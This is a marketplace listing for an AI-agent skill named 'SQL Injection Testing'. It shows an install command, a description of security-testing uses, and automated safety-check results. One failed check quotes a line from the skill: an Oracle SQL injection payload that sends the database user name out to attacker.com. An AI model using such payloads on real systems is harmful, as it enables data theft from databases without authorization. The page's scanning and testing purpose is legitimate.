Sql Injection Testing
ListedProvides testing guidance and assistance for working with databases and data persistence.
Install on your platform
Showing Claude Code. One command installs this skill into any of the agents below.
SQL Injection Testing, not the name it is listed under, so the command below uses that name.- 1
Run this in your project
terminal$ npx skills add sebas-aikon-intelligence/antigravity-awesome-skills --skill "SQL Injection Testing" -a claude-code Uses the open-source
skillsCLI and needs Node.js. Add-gto install it for your user instead of this project.
What we know about this skill
Publisher
sebas-aikon-intelligence
Taken from the source listing. We haven't verified who controls this account.
Install target
Live repository
Not pinned. Installing fetches whatever the repository holds at the time you run the command.
Automated safety checks
This skill failed 1 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.
No undeclared network calls: failed
Contacts 1 host that is neither well-known infrastructure nor declared in the skill's frontmatter: attacker.com.
Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.
Hosts contacted
attacker.comundeclaredWhat it found
- skills/sql-injection-testing/SKILL.md:183contacts attacker.com
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Declares what it does: passed
SKILL.md parses and declares a name and a description.
SKILL.md exists, its frontmatter parses, and it declares a name and a description.
No obfuscated payloads: passed
No encoded or obfuscated payloads.
No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.
No credential access: passed
Reads no keys, tokens, keychains or credential files.
Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.
No pipe-to-shell installers: passed
No pipe-to-shell or download-and-run installers.
No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.
Pinned to a commit: passed
Scanned sebas-aikon-intelligence/antigravity-awesome-skills at 0f4a1b2fd7.
The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.
- Commit
- 0f4a1b2fd7
- Scanned
- 1 file, 397 lines
About this skill
What it does
This skill allows AI agents to perform SQL injection testing on provided database queries. It identifies potential vulnerabilities by attempting various injection techniques and analyzing the responses. The tool aims to help developers proactively find and fix security flaws in their applications before they can be exploited.
When to use it
- Security Audits: Evaluate a web application's database interaction for SQL injection vulnerabilities as part of a broader security assessment.
- Development Testing: During the development process, test newly written or modified database queries to ensure they are secure against injection attacks.
- Penetration Testing: Simulate an attacker’s attempts to exploit SQL injection flaws in a controlled environment.
- Code Review: Assist developers by automatically testing code snippets containing SQL queries for potential vulnerabilities.
Key capabilities
- SQL Injection vulnerability detection
- Analysis of database query responses
- Injection technique implementation
- Identification of potential security flaws
Example prompts
- "Test the following SQL query for SQL injection:
SELECT * FROM users WHERE username = '$username'." - "Can you identify any SQL injection vulnerabilities in this query:
SELECT password FROM accounts WHERE email = '$email'?" - “Perform SQL injection testing on this database interaction and report all potential vulnerabilities.”
Tips & gotchas
The skill requires a valid SQL query to test. It's crucial to use it responsibly and only against systems you have explicit permission to test.